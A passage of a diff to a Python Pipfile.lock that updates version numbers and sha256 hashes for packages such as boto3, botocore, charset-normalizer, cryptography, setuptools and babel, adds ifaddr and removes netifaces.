"c5a267d75db3ffe4b5a7c271aeacf962fb8461f09778fd70a6d6def4294f4e39" }, "pipfile-spec": 6, "requires": { @@ -67,19 +67,19 @@ }, "boto3": { "hashes": [ - "sha256:0c593017fa49dbc34dcdbd5659208f2daf293a499d5f4d7e61978cd6b5d72a97", - "sha256:488bf63d65864ab7fcdf9337c5aa4d825d444e253738a60f80789916bacc47dc" + "sha256:9afe405c71bfd13fa958637caec9dc91f7009b221a7d87d4b067fa6f262aab67", + "sha256:ae106bdc5ac6e693100a2dba5ea1c9cfa6e556f6f39944fa8b3af6b104eeccf3" ], "index": "pypi", - "version": "==1.26.78" + "version": "==1.26.85" }, "botocore": { "hashes": [ - "sha256:2bee6ed037590ef1e4884d944486232871513915f12a8590c63e3bb6046479bf", - "sha256:656ac8822a1b6c887a8efe1172bcefa9c9c450face26dc39998a249e8c340a23" + "sha256:1f2d1f7e3b41f8c9cc5576be16d86552a46724fd5d15f38a50c002a957ac43ff", + "sha256:cb7e7e88a09ba807956643849b3a9b4e343a2c117838c0be1ca660052f69bcd2" ], "index": "pypi", - "version": "==1.29.78" + "version": "==1.29.85" }, "certifi": { "hashes": [ @@ -161,97 +161,84 @@ }, "charset-normalizer": { "hashes": [ - "sha256:00d3ffdaafe92a5dc603cb9bd5111aaa36dfa187c8285c543be562e61b755f6b", - "sha256:024e606be3ed92216e2b6952ed859d86b4cfa52cd5bc5f050e7dc28f9b43ec42", - "sha256:0298eafff88c99982a4cf66ba2efa1128e4ddaca0b05eec4c456bbc7db691d8d", - "sha256:02a51034802cbf38db3f89c66fb5d2ec57e6fe7ef2f4a44d070a593c3688667b", - "sha256:083c8d17153ecb403e5e1eb76a7ef4babfc2c48d58899c98fcaa04833e7a2f9a", - "sha256:0a11e971ed097d24c534c037d298ad32c6ce81a45736d31e0ff0ad37ab437d59", - "sha256:0bf2dae5291758b6f84cf923bfaa285632816007db0330002fa1de38bfcb7154", - "sha256:0c0a590235ccd933d9892c627dec5bc7511ce6ad6c1011fdf5b11363022746c1", - "sha256:0f438ae3532723fb6ead77e7c604be7c8374094ef4ee2c5e03a3a17f1fca256c", - "sha256:109487860ef6a328f3eec66f2bf78b0b72400280d8f8ea05f69c51644ba6521a", - "sha256:11b53acf2411c3b09e6af37e4b9005cba376c872503c8f28218c7243582df45d", - "sha256:12db3b2c533c23ab812c2b25934f60383361f8a376ae272665f8e48b88e8e1c6", - "sha256:14e76c0f23218b8f46c4d87018ca2e441535aed3632ca134b10239dfb6dadd6b", - "sha256:16a8663d6e281208d78806dbe14ee9903715361cf81f6d4309944e4d1e59ac5b", - "sha256:292d5e8ba896bbfd6334b096e34bffb56161c81408d6d036a7dfa6929cff8783", - "sha256:2c03cc56021a4bd59be889c2b9257dae13bf55041a3372d3295416f86b295fb5", - "sha256:2e396d70bc4ef5325b72b593a72c8979999aa52fb8bcf03f701c1b03e1166918", - "sha256:2edb64ee7bf1ed524a1da60cdcd2e1f6e2b4f66ef7c077680739f1641f62f555", - "sha256:31a9ddf4718d10ae04d9b18801bd776693487cbb57d74cc3458a7673f6f34639", - "sha256:356541bf4381fa35856dafa6a965916e54bed415ad8a24ee6de6e37deccf2786", - "sha256:358a7c4cb8ba9b46c453b1dd8d9e431452d5249072e4f56cfda3149f6ab1405e", - "sha256:37f8febc8ec50c14f3ec9637505f28e58d4f66752207ea177c1d67df25da5aed", - "sha256:39049da0ffb96c8cbb65cbf5c5f3ca3168990adf3551bd1dee10c48fce8ae820", - "sha256:39cf9ed17fe3b1bc81f33c9ceb6ce67683ee7526e65fde1447c772afc54a1bb8", - "sha256:3ae1de54a77dc0d6d5fcf623290af4266412a7c4be0b1ff7444394f03f5c54e3", - "sha256:3b590df687e3c5ee0deef9fc8c547d81986d9a1b56073d82de008744452d6541", - "sha256:3e45867f1f2ab0711d60c6c71746ac53537f1684baa699f4f668d4c6f6ce8e14", - "sha256:3fc1c4a2ffd64890aebdb3f97e1278b0cc72579a08ca4de8cd2c04799a3a22be", - "sha256:4457ea6774b5611f4bed5eaa5df55f70abde42364d498c5134b7ef4c6958e20e", - "sha256:44ba614de5361b3e5278e1241fda3dc1838deed864b50a10d7ce92983797fa76", - "sha256:4a8fcf28c05c1f6d7e177a9a46a1c52798bfe2ad80681d275b10dcf317deaf0b", - "sha256:4b0d02d7102dd0f997580b51edc4cebcf2ab6397a7edf89f1c73b586c614272c", - "sha256:502218f52498a36d6bf5ea77081844017bf7982cdbe521ad85e64cabee1b608b", - "sha256:503e65837c71b875ecdd733877d852adbc465bd82c768a067badd953bf1bc5a3", - "sha256:5995f0164fa7df59db4746112fec3f49c461dd6b31b841873443bdb077c13cfc", - "sha256:59e5686dd847347e55dffcc191a96622f016bc0ad89105e24c14e0d6305acbc6", - "sha256:601f36512f9e28f029d9481bdaf8e89e5148ac5d89cffd3b05cd533eeb423b59", - "sha256:608862a7bf6957f2333fc54ab4399e405baad0163dc9f8d99cb236816db169d4", - "sha256:62595ab75873d50d57323a91dd03e6966eb79c41fa834b7a1661ed043b2d404d", - "sha256:70990b9c51340e4044cfc394a81f614f3f90d41397104d226f21e66de668730d", - "sha256:71140351489970dfe5e60fc621ada3e0f41104a5eddaca47a7acb3c1b851d6d3", - "sha256:72966d1b297c741541ca8cf1223ff262a6febe52481af742036a0b296e35fa5a", - "sha256:74292fc76c905c0ef095fe11e188a32ebd03bc38f3f3e9bcb85e4e6db177b7ea", - "sha256:761e8904c07ad053d285670f36dd94e1b6ab7f16ce62b9805c475b7aa1cffde6", - "sha256:772b87914ff1152b92a197ef4ea40efe27a378606c39446ded52c8f80f79702e", - "sha256:79909e27e8e4fcc9db4addea88aa63f6423ebb171db091fb4373e3312cb6d603", - "sha256:7e189e2e1d3ed2f4aebabd2d5b0f931e883676e51c7624826e0a4e5fe8a0bf24", - "sha256:7eb33a30d75562222b64f569c642ff3dc6689e09adda43a082208397f016c39a", - "sha256:81d6741ab457d14fdedc215516665050f3822d3e56508921cc7239f8c8e66a58", - "sha256:8499ca8f4502af841f68135133d8258f7b32a53a1d594aa98cc52013fff55678", - "sha256:84c3990934bae40ea69a82034912ffe5a62c60bbf6ec5bc9691419641d7d5c9a", - "sha256:87701167f2a5c930b403e9756fab1d31d4d4da52856143b609e30a1ce7160f3c", - "sha256:88600c72ef7587fe1708fd242b385b6ed4b8904976d5da0893e31df8b3480cb6", - "sha256:8ac7b6a045b814cf0c47f3623d21ebd88b3e8cf216a14790b455ea7ff0135d18", - "sha256:8b8af03d2e37866d023ad0ddea594edefc31e827fee64f8de5611a1dbc373174", - "sha256:8c7fe7afa480e3e82eed58e0ca89f751cd14d767638e2550c77a92a9e749c317", - "sha256:8eade758719add78ec36dc13201483f8e9b5d940329285edcd5f70c0a9edbd7f", - "sha256:911d8a40b2bef5b8bbae2e36a0b103f142ac53557ab421dc16ac4aafee6f53dc", - "sha256:93ad6d87ac18e2a90b0fe89df7c65263b9a99a0eb98f0a3d2e079f12a0735837", - "sha256:95dea361dd73757c6f1c0a1480ac499952c16ac83f7f5f4f84f0658a01b8ef41", - "sha256:9ab77acb98eba3fd2a85cd160851816bfce6871d944d885febf012713f06659c", - "sha256:9cb3032517f1627cc012dbc80a8ec976ae76d93ea2b5feaa9d2a5b8882597579", - "sha256:9cf4e8ad252f7c38dd1f676b46514f92dc0ebeb0db5552f5f403509705e24753", - "sha256:9d9153257a3f70d5f69edf2325357251ed20f772b12e593f3b3377b5f78e7ef8", - "sha256:a152f5f33d64a6be73f1d30c9cc82dfc73cec6477ec268e7c6e4c7d23c2d2291", - "sha256:a16418ecf1329f71df119e8a65f3aa68004a3f9383821edcb20f0702934d8087", - "sha256:a60332922359f920193b1d4826953c507a877b523b2395ad7bc716ddd386d866", - "sha256:a8d0fc946c784ff7f7c3742310cc8a57c5c6dc31631269876a88b809dbeff3d3", - "sha256:ab5de034a886f616a5668aa5d098af2b5385ed70142090e2a31bcbd0af0fdb3d", - "sha256:c22d3fe05ce11d3671297dc8973267daa0f938b93ec716e12e0f6dee81591dc1", - "sha256:c2ac1b08635a8cd4e0cbeaf6f5e922085908d48eb05d44c5ae9eabab148512ca", - "sha256:c512accbd6ff0270939b9ac214b84fb5ada5f0409c44298361b2f5e13f9aed9e", - "sha256:c75ffc45f25324e68ab238cb4b5c0a38cd1c3d7f1fb1f72b5541de469e2247db", - "sha256:c95a03c79bbe30eec3ec2b7f076074f4281526724c8685a42872974ef4d36b72", - "sha256:cadaeaba78750d58d3cc6ac4d1fd867da6fc73c88156b7a3212a3cd4819d679d", - "sha256:cd6056167405314a4dc3c173943f11249fa0f1b204f8b51ed4bde1a9cd1834dc", - "sha256:db72b07027db150f468fbada4d85b3b2729a3db39178abf5c543b784c1254539", - "sha256:df2c707231459e8a4028eabcd3cfc827befd635b3ef72eada84ab13b52e1574d", - "sha256:e62164b50f84e20601c1ff8eb55620d2ad25fb81b59e3cd776a1902527a788af", - "sha256:e696f0dd336161fca9adbb846875d40752e6eba585843c768935ba5c9960722b", - "sha256:eaa379fcd227ca235d04152ca6704c7cb55564116f8bc52545ff357628e10602", - "sha256:ebea339af930f8ca5d7a699b921106c6e29c617fe9606fa7baa043c1cdae326f", - "sha256:f4c39b0e3eac288fedc2b43055cfc2ca7a60362d0e5e87a637beac5d801ef478", - "sha256:f5057856d21e7586765171eac8b9fc3f7d44ef39425f85dbcccb13b3ebea806c", - "sha256:f6f45710b4459401609ebebdbcfb34515da4fc2aa886f95107f556ac69a9147e", - "sha256:f97e83fa6c25693c7a35de154681fcc257c1c41b38beb0304b9c4d2d9e164479", - "sha256:f9d0c5c045a3ca9bedfc35dca8526798eb91a07aa7a2c0fee134c6c6f321cbd7", - "sha256:ff6f3db31555657f3163b15a6b7c6938d08df7adbfc9dd13d9d19edad678f1e8" - ], - "markers": "python_version >= '3.6'", - "version": "==3.0.1" + "sha256:04afa6387e2b282cf78ff3dbce20f0cc071c12dc8f685bd40960cc68644cfea6", + "sha256:04eefcee095f58eaabe6dc3cc2262f3bcd776d2c67005880894f447b3f2cb9c1", + "sha256:0be65ccf618c1e7ac9b849c315cc2e8a8751d9cfdaa43027d4f6624bd587ab7e", + "sha256:0c95f12b74681e9ae127728f7e5409cbbef9cd914d5896ef238cc779b8152373", + "sha256:0ca564606d2caafb0abe6d1b5311c2649e8071eb241b2d64e75a0d0065107e62", + "sha256:10c93628d7497c81686e8e5e557aafa78f230cd9e77dd0c40032ef90c18f2230", + "sha256:11d117e6c63e8f495412d37e7dc2e2fff09c34b2d09dbe2bee3c6229577818be", + "sha256:11d3bcb7be35e7b1bba2c23beedac81ee893ac9871d0ba79effc7fc01167db6c", + "sha256:12a2b561af122e3d94cdb97fe6fb2bb2b82cef0cdca131646fdb940a1eda04f0", + "sha256:12d1a39aa6b8c6f6248bb54550efcc1c38ce0d8096a146638fd4738e42284448", + "sha256:1435ae15108b1cb6fffbcea2af3d468683b7afed0169ad718451f8db5d1aff6f", + "sha256:1c60b9c202d00052183c9be85e5eaf18a4ada0a47d188a83c8f5c5b23252f649", + "sha256:1e8fcdd8f672a1c4fc8d0bd3a2b576b152d2a349782d1eb0f6b8e52e9954731d", + "sha256:20064ead0717cf9a73a6d1e779b23d149b53daf971169289ed2ed43a71e8d3b0", + "sha256:21fa558996782fc226b529fdd2ed7866c2c6ec91cee82735c98a197fae39f706", + "sha256:22908891a380d50738e1f978667536f6c6b526a2064156203d418f4856d6e86a", + "sha256:3160a0fd9754aab7d47f95a6b63ab355388d890163eb03b2d2b87ab0a30cfa59", + "sha256:322102cdf1ab682ecc7d9b1c5eed4ec59657a65e1c146a0da342b78f4112db23", + "sha256:34e0a2f9c370eb95597aae63bf85eb5e96826d81e3dcf88b8886012906f509b5", + "sha256:3573d376454d956553c356df45bb824262c397c6e26ce43e8203c4c540ee0acb", + "sha256:3747443b6a904001473370d7810aa19c3a180ccd52a7157aacc264a5ac79265e", + "sha256:38e812a197bf8e71a59fe55b757a84c1f946d0ac114acafaafaf21667a7e169e", + "sha256:3a06f32c9634a8705f4ca9946d667609f52cf130d5548881401f1eb2c39b1e2c", + "sha256:3a5fc78f9e3f501a1614a98f7c54d3969f3ad9bba8ba3d9b438c3bc5d047dd28", + "sha256:3d9098b479e78c85080c98e1e35ff40b4a31d8953102bb0fd7d1b6f8a2111a3d", + "sha256:3dc5b6a8ecfdc5748a7e429782598e4f17ef378e3e272eeb1340ea57c9109f41", + "sha256:4155b51ae05ed47199dc5b2a4e62abccb274cee6b01da5b895099b61b1982974", + "sha256:49919f8400b5e49e961f320c735388ee686a62327e773fa5b3ce6721f7e785ce", + "sha256:53d0a3fa5f8af98a1e261de6a3943ca631c526635eb5817a87a59d9a57ebf48f", + "sha256:5f008525e02908b20e04707a4f704cd286d94718f48bb33edddc7d7b584dddc1", + "sha256:628c985afb2c7d27a4800bfb609e03985aaecb42f955049957814e0491d4006d", + "sha256:65ed923f84a6844de5fd29726b888e58c62820e0769b76565480e1fdc3d062f8", + "sha256:6734e606355834f13445b6adc38b53c0fd45f1a56a9ba06c2058f86893ae8017", + "sha256:6baf0baf0d5d265fa7944feb9f7451cc316bfe30e8df1a61b1bb08577c554f31", + "sha256:6f4f4668e1831850ebcc2fd0b1cd11721947b6dc7c00bf1c6bd3c929ae14f2c7", + "sha256:6f5c2e7bc8a4bf7c426599765b1bd33217ec84023033672c1e9a8b35eaeaaaf8", + "sha256:6f6c7a8a57e9405cad7485f4c9d3172ae486cfef1344b5ddd8e5239582d7355e", + "sha256:7381c66e0561c5757ffe616af869b916c8b4e42b367ab29fedc98481d1e74e14", + "sha256:73dc03a6a7e30b7edc5b01b601e53e7fc924b04e1835e8e407c12c037e81adbd", + "sha256:74db0052d985cf37fa111828d0dd230776ac99c740e1a758ad99094be4f1803d", + "sha256:75f2568b4189dda1c567339b48cba4ac7384accb9c2a7ed655cd86b04055c795", + "sha256:78cacd03e79d009d95635e7d6ff12c21eb89b894c354bd2b2ed0b4763373693b", + "sha256:80d1543d58bd3d6c271b66abf454d437a438dff01c3e62fdbcd68f2a11310d4b", + "sha256:830d2948a5ec37c386d3170c483063798d7879037492540f10a475e3fd6f244b", + "sha256:891cf9b48776b5c61c700b55a598621fdb7b1e301a550365571e9624f270c203", + "sha256:8f25e17ab3039b05f762b0a55ae0b3632b2e073d9c8fc88e89aca31a6198e88f", + "sha256:9a3267620866c9d17b959a84dd0bd2d45719b817245e49371ead79ed4f710d19", + "sha256:a04f86f41a8916fe45ac5024ec477f41f886b3c435da2d4e3d2709b22ab02af1", + "sha256:aaf53a6cebad0eae578f062c7d462155eada9c172bd8c4d250b8c1d8eb7f916a", + "sha256:abc1185d79f47c0a7aaf7e2412a0eb2c03b724581139193d2d82b3ad8cbb00ac", + "sha256:ac0aa6cd53ab9a31d397f8303f92c42f534693528fafbdb997c82bae6e477ad9", + "sha256:ac3775e3311661d4adace3697a52ac0bab17edd166087d493b52d4f4f553f9f0", + "sha256:b06f0d3bf045158d2fb8837c5785fe9ff9b8c93358be64461a1089f5da983137", + "sha256:b116502087ce8a6b7a5f1814568ccbd0e9f6cfd99948aa59b0e241dc57cf739f", + "sha256:b82fab78e0b1329e183a65260581de4375f619167478dddab510c6c6fb04d9b6", + "sha256:bd7163182133c0c7701b25e604cf1611c0d87712e56e88e7ee5d72deab3e76b5", + "sha256:c36bcbc0d5174a80d6cccf43a0ecaca44e81d25be4b7f90f0ed7bcfbb5a00909", + "sha256:c3af8e0f07399d3176b179f2e2634c3ce9c1301379a6b8c9c9aeecd481da494f", + "sha256:c84132a54c750fda57729d1e2599bb598f5fa0344085dbde5003ba429a4798c0", + "sha256:cb7b2ab0188829593b9de646545175547a70d9a6e2b63bf2cd87a0a391599324", + "sha256:cca4def576f47a09a943666b8f829606bcb17e2bc2d5911a46c8f8da45f56755", + "sha256:cf6511efa4801b9b38dc5546d7547d5b5c6ef4b081c60b23e4d941d0eba9cbeb", + "sha256:d16fd5252f883eb074ca55cb622bc0bee49b979ae4e8639fff6ca3ff44f9f854", + "sha256:d2686f91611f9e17f4548dbf050e75b079bbc2a82be565832bc8ea9047b61c8c", + "sha256:d7fc3fca01da18fbabe4625d64bb612b533533ed10045a2ac3dd194bfa656b60", + "sha256:dd5653e67b149503c68c4018bf07e42eeed6b4e956b24c00ccdf93ac79cdff84", + "sha256:de5695a6f1d8340b12a5d6d4484290ee74d61e467c39ff03b39e30df62cf83a0", + "sha256:e0ac8959c929593fee38da1c2b64ee9778733cdf03c482c9ff1d508b6b593b2b", + "sha256:e1b25e3ad6c909f398df8921780d6a3d120d8c09466720226fc621605b6f92b1", + "sha256:e633940f28c1e913615fd624fcdd72fdba807bf53ea6925d6a588e84e1151531", + "sha256:e89df2958e5159b811af9ff0f92614dabf4ff617c03a4c1c6ff53bf1c399e0e1", + "sha256:ea9f9c6034ea2d93d9147818f17c2a0860d41b71c38b9ce4d55f21b6f9165a11", + "sha256:f645caaf0008bacf349875a974220f1f1da349c5dbe7c4ec93048cdc785a3326", + "sha256:f8303414c7b03f794347ad062c0516cee0e15f7a612abd0ce1e25caf6ceb47df", + "sha256:fca62a8301b605b954ad2e9c3666f9d97f63872aa4efcae5492baca2056b74ab" + ], + "markers": "python_full_version >= '3.7.0'", + "version": "==3.1.0" }, "click": { "hashes": [ @@ -271,32 +258,32 @@ }, "cryptography": { "hashes": [ - "sha256:0f8da300b5c8af9f98111ffd512910bc792b4c77392a9523624680f7956a99d4", - "sha256:35f7c7d015d474f4011e859e93e789c87d21f6f4880ebdc29896a60403328f1f", - "sha256:4789d1e3e257965e960232345002262ede4d094d1a19f4d3b52e48d4d8f3b885", - "sha256:5aa67414fcdfa22cf052e640cb5ddc461924a045cacf325cd164e65312d99502", - "sha256:5d2d8b87a490bfcd407ed9d49093793d0f75198a35e6eb1a923ce1ee86c62b41", - "sha256:6687ef6d0a6497e2b58e7c5b852b53f62142cfa7cd1555795758934da363a965", - "sha256:6f8ba7f0328b79f08bdacc3e4e66fb4d7aab0c3584e0bd41328dce5262e26b2e", - "sha256:706843b48f9a3f9b9911979761c91541e3d90db1ca905fd63fee540a217698bc", - "sha256:807ce09d4434881ca3a7594733669bd834f5b2c6d5c7e36f8c00f691887042ad", - "sha256:83e17b26de248c33f3acffb922748151d71827d6021d98c70e6c1a25ddd78505", - "sha256:96f1157a7c08b5b189b16b47bc9db2332269d6680a196341bf30046330d15388", - "sha256:aec5a6c9864be7df2240c382740fcf3b96928c46604eaa7f3091f58b878c0bb6", - "sha256:b0afd054cd42f3d213bf82c629efb1ee5f22eba35bf0eec88ea9ea7304f511a2", - "sha256:c5caeb8188c24888c90b5108a441c106f7faa4c4c075a2bcae438c6e8ca73cef", - "sha256:ced4e447ae29ca194449a3f1ce132ded8fcab06971ef5f618605aacaa612beac", - "sha256:d1f6198ee6d9148405e49887803907fe8962a23e6c6f83ea7d98f1c0de375695", - "sha256:e124352fd3db36a9d4a21c1aa27fd5d051e621845cb87fb851c08f4f75ce8be6", - "sha256:e422abdec8b5fa8462aa016786680720d78bdce7a30c652b7fadf83a4ba35336", - "sha256:ef8b72fa70b348724ff1218267e7f7375b8de4e8194d1636ee60510aae104cd0", - "sha256:f0c64d1bd842ca2633e74a1a28033d139368ad959872533b1bab8c80e8240a0c", - "sha256:f24077a3b5298a5a06a8e0536e3ea9ec60e4c7ac486755e5fb6e6ea9b3500106", - "sha256:fdd188c8a6ef8769f148f88f859884507b954cc64db6b52f66ef199bb9ad660a", - "sha256:fe913f20024eb2cb2f323e42a64bdf2911bb9738a15dba7d3cce48151034e3a8" + "sha256:103e8f7155f3ce2ffa0049fe60169878d47a4364b277906386f8de21c9234aa1", + "sha256:23df8ca3f24699167daf3e23e51f7ba7334d504af63a94af468f468b975b7dd7", + "sha256:2725672bb53bb92dc7b4150d233cd4b8c59615cd8288d495eaa86db00d4e5c06", + "sha256:30b1d1bfd00f6fc80d11300a29f1d8ab2b8d9febb6ed4a38a76880ec564fae84", + "sha256:35d658536b0a4117c885728d1a7032bdc9a5974722ae298d6c533755a6ee3915", + "sha256:50cadb9b2f961757e712a9737ef33d89b8190c3ea34d0fb6675e00edbe35d074", + "sha256:5f8c682e736513db7d04349b4f6693690170f95aac449c56f97415c6980edef5", + "sha256:6236a9610c912b129610eb1a274bdc1350b5df834d124fa84729ebeaf7da42c3", + "sha256:788b3921d763ee35dfdb04248d0e3de11e3ca8eb22e2e48fef880c42e1f3c8f9", + "sha256:8bc0008ef798231fac03fe7d26e82d601d15bd16f3afaad1c6113771566570f3", + "sha256:8f35c17bd4faed2bc7797d2a66cbb4f986242ce2e30340ab832e5d99ae60e011", + "sha256:b49a88ff802e1993b7f749b1eeb31134f03c8d5c956e3c125c75558955cda536", + "sha256:bc0521cce2c1d541634b19f3ac661d7a64f9555135e9d8af3980965be717fd4a", + "sha256:bc5b871e977c8ee5a1bbc42fa8d19bcc08baf0c51cbf1586b0e87a2694dde42f", + "sha256:c43ac224aabcbf83a947eeb8b17eaf1547bce3767ee2d70093b461f31729a480", + "sha256:d15809e0dbdad486f4ad0979753518f47980020b7a34e9fc56e8be4f60702fac", + "sha256:d7d84a512a59f4412ca8549b01f94be4161c94efc598bf09d027d67826beddc0", + "sha256:e029b844c21116564b8b61216befabca4b500e6816fa9f0ba49527653cae2108", + "sha256:e8a0772016feeb106efd28d4a328e77dc2edae84dfbac06061319fdb669ff828", + "sha256:e944fe07b6f229f4c1a06a7ef906a19652bdd9fd54c761b0ff87e83ae7a30354", + "sha256:eb40fe69cfc6f5cdab9a5ebd022131ba21453cf7b8a7fd3631f45bbf52bed612", + "sha256:fa507318e427169ade4e9eccef39e9011cdc19534f55ca2f36ec3f388c1f70f3", + "sha256:ffd394c7896ed7821a6d13b24657c6a34b6e2650bd84ae063cf11ccffa4f1a97" ], "index": "pypi", - "version": "==39.0.1" + "version": "==39.0.2" }, "dnspython": { "hashes": [ @@ -478,6 +465,14 @@ "markers": "python_version >= '3.5'", "version": "==3.4" }, + "ifaddr": { + "hashes": [ + "sha256:085e0305cfe6f16ab12d72e2024030f5d52674afad6911bb1eee207177b8a748", + "sha256:cc0cbfcaabf765d44595825fb96a99bb12c79716b73b44330ea38ee2b0c4aed4" + ], + "index": "pypi", + "version": "==0.2.0" + }, "ipaddress": { "hashes": [ "sha256:6e0f4a39e66cb5bb9a137b00276a2eff74f93b71dcbdad6f10ff7df9d3557fcc", @@ -574,42 +569,6 @@ "markers": "python_version >= '3.7'", "version": "==2.1.2" }, - "netifaces": { - "hashes": [ - "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", - "sha256:08e3f102a59f9eaef70948340aeb6c89bd09734e0dca0f3b82720305729f63ea", - "sha256:0f6133ac02521270d9f7c490f0c8c60638ff4aec8338efeff10a1b51506abe85", - "sha256:18917fbbdcb2d4f897153c5ddbb56b31fa6dd7c3fa9608b7e3c3a663df8206b5", - "sha256:2479bb4bb50968089a7c045f24d120f37026d7e802ec134c4490eae994c729b5", - "sha256:2650beee182fed66617e18474b943e72e52f10a24dc8cac1db36c41ee9c041b7", - "sha256:28f4bf3a1361ab3ed93c5ef360c8b7d4a4ae060176a3529e72e5e4ffc4afd8b0", - "sha256:3ecb3f37c31d5d51d2a4d935cfa81c9bc956687c6f5237021b36d6fdc2815b2c", - "sha256:469fc61034f3daf095e02f9f1bbac07927b826c76b745207287bc594884cfd05", - "sha256:48324183af7f1bc44f5f197f3dad54a809ad1ef0c78baee2c88f16a5de02c4c9", - "sha256:50721858c935a76b83dd0dd1ab472cad0a3ef540a1408057624604002fcfb45b", - "sha256:54ff6624eb95b8a07e79aa8817288659af174e954cca24cdb0daeeddfc03c4ff", - "sha256:5be83986100ed1fdfa78f11ccff9e4757297735ac17391b95e17e74335c2047d", - "sha256:5f9ca13babe4d845e400921973f6165a4c2f9f3379c7abfc7478160e25d196a4", - "sha256:73ff21559675150d31deea8f1f8d7e9a9a7e4688732a94d71327082f517fc6b4", - "sha256:7dbb71ea26d304e78ccccf6faccef71bb27ea35e259fb883cfd7fd7b4f17ecb1", - "sha256:815eafdf8b8f2e61370afc6add6194bd5a7252ae44c667e96c4c1ecf418811e4", - "sha256:841aa21110a20dc1621e3dd9f922c64ca64dd1eb213c47267a2c324d823f6c8f", - "sha256:84e4d2e6973eccc52778735befc01638498781ce0e39aa2044ccfd2385c03246", - "sha256:8f7da24eab0d4184715d96208b38d373fd15c37b0dafb74756c638bd619ba150", - "sha256:96c0fe9696398253f93482c84814f0e7290eee0bfec11563bd07d80d701280c3", - "sha256:aab1dbfdc55086c789f0eb37affccf47b895b98d490738b81f3b2360100426be", - "sha256:c03fb2d4ef4e393f2e6ffc6376410a22a3544f164b336b3a355226653e5efd89", - "sha256:c37a1ca83825bc6f54dddf5277e9c65dec2f1b4d0ba44b8fd42bc30c91aa6ea1", - "sha256:c92ff9ac7c2282009fe0dcb67ee3cd17978cffbe0c8f4b471c00fe4325c9b4d4", - "sha256:c9a3a47cd3aaeb71e93e681d9816c56406ed755b9442e981b07e3618fb71d2ac", - "sha256:cb925e1ca024d6f9b4f9b01d83215fd00fe69d095d0255ff3f64bffda74025c8", - "sha256:d07b01c51b0b6ceb0f09fc48ec58debd99d2c8430b09e56651addeaf5de48048", - "sha256:e76c7f351e0444721e85f975ae92718e21c1f361bda946d60a214061de1f00a1", - "sha256:eb4813b77d5df99903af4757ce980a98c4d702bbcb81f32a0b305a1537bdf0b1" - ], - "index": "pypi", - "version": "==0.11.0" - }, "pefile": { "hashes": [ "sha256:82e6114004b3d6911c77c3953e3838654b04511b8b66e8583db70c65998017dc", @@ -970,11 +929,11 @@ }, "setuptools": { "hashes": [ - "sha256:e5fd0a713141a4a105412233c63dc4e17ba0090c8e8334594ac790ec97792330", - "sha256:f106dee1b506dee5102cc3f3e9e68137bbad6d47b616be7991714b0c62204251" + "sha256:15136a251127da2d2e77ac7a1bc231eb504654f7e3346d93613a13f2e2787535", + "sha256:1c39d42bda4cb89f7fdcad52b6762e3c309ec8f8715b27c684176b7d71283242" ], "markers": "python_version >= '3.7'", - "version": "==67.4.0" + "version": "==67.5.1" }, "six": { "hashes": [ @@ -1083,11 +1042,11 @@ }, "babel": { "hashes": [ - "sha256:1ad3eca1c885218f6dce2ab67291178944f810a10a9b5f3cb8382a5a232b64fe", - "sha256:5ef4b3226b0180dedded4229651c8b0e1a3a6a2837d45a073272f313e4cf97f6" + "sha256:b4246fb7677d3b98f501a39d43396d3cafdc8eadb045f4a31be01863f655c610", + "sha256:cc2d99999cd01d44420ae725a21c9e3711b3aadc7976d6147f622d8581963455" ], - "markers": "python_version >= '3.6'", - "version": "==2.11.0" + "markers": "python_version >= '3.7'", + "version": "==2.12.1" }, "black": { "hashes": [ @@ -1128,97 +1087,84 @@ }, "charset-normalizer": { "hashes": [ - "sha256:00d3ffdaafe92a5dc603cb9bd5111aaa36dfa187c8285c543be562e61b755f6b", - "sha256:024e606be3ed92216e2b6952ed859d86b4cfa52cd5bc5f050e7dc28f9b43ec42", - "sha256:0298eafff88c99982a4cf66ba2efa1128e4ddaca0b05eec4c456bbc7db691d8d", - "sha256:02a51034802cbf38db3f89c66fb5d2ec57e6fe7ef2f4a44d070a593c3688667b", - "sha256:083c8d17153ecb403e5e1eb76a7ef4babfc2c48d58899c98fcaa04833e7a2f9a", - "sha256:0a11e971ed097d24c534c037d298ad32c6ce81a45736d31e0ff0ad37ab437d59", - "sha256:0bf2dae5291758b6f84cf923bfaa285632816007db0330002fa1de38bfcb7154", - "sha256:0c0a590235ccd933d9892c627dec5bc7511ce6ad6c1011fdf5b11363022746c1", - "sha256:0f438ae3532723fb6ead77e7c604be7c8374094ef4ee2c5e03a3a17f1fca256c", - "sha256:109487860ef6a328f3eec66f2bf78b0b72400280d8f8ea05f69c51644ba6521a", - "sha256:11b53acf2411c3b09e6af37e4b9005cba376c872503c8f28218c7243582df45d", - "sha256:12db3b2c533c23ab812c2b25934f60383361f8a376ae272665f8e48b88e8e1c6", - "sha256:14e76c0f23218b8f46c4d87018ca2e441535aed3632ca134b10239dfb6dadd6b", - "sha256:16a8663d6e281208d78806dbe14ee9903715361cf81f6d4309944e4d1e59ac5b", - "sha256:292d5e8ba896bbfd6334b096e34bffb56161c81408d6d036a7dfa6929cff8783", - "sha256:2c03cc56021a4bd59be889c2b9257dae13bf55041a3372d3295416f86b295fb5", - "sha256:2e396d70bc4ef5325b72b593a72c8979999aa52fb8bcf03f701c1b03e1166918", - "sha256:2edb64ee7bf1ed524a1da60cdcd2e1f6e2b4f66ef7c077680739f1641f62f555", - "sha256:31a9ddf4718d10ae04d9b18801bd776693487cbb57d74cc3458a7673f6f34639", - "sha256:356541bf4381fa35856dafa6a965916e54bed415ad8a24ee6de6e37deccf2786", - "sha256:358a7c4cb8ba9b46c453b1dd8d9e431452d5249072e4f56cfda3149f6ab1405e", - "sha256:37f8febc8ec50c14f3ec9637505f28e58d4f66752207ea177c1d67df25da5aed", - "sha256:39049da0ffb96c8cbb65cbf5c5f3ca3168990adf3551bd1dee10c48fce8ae820", - "sha256:39cf9ed17fe3b1bc81f33c9ceb6ce67683ee7526e65fde1447c772afc54a1bb8", - "sha256:3ae1de54a77dc0d6d5fcf623290af4266412a7c4be0b1ff7444394f03f5c54e3", - "sha256:3b590df687e3c5ee0deef9fc8c547d81986d9a1b56073d82de008744452d6541", - "sha256:3e45867f1f2ab0711d60c6c71746ac53537f1684baa699f4f668d4c6f6ce8e14", - "sha256:3fc1c4a2ffd64890aebdb3f97e1278b0cc72579a08ca4de8cd2c04799a3a22be", - "sha256:4457ea6774b5611f4bed5eaa5df55f70abde42364d498c5134b7ef4c6958e20e", - "sha256:44ba614de5361b3e5278e1241fda3dc1838deed864b50a10d7ce92983797fa76", - 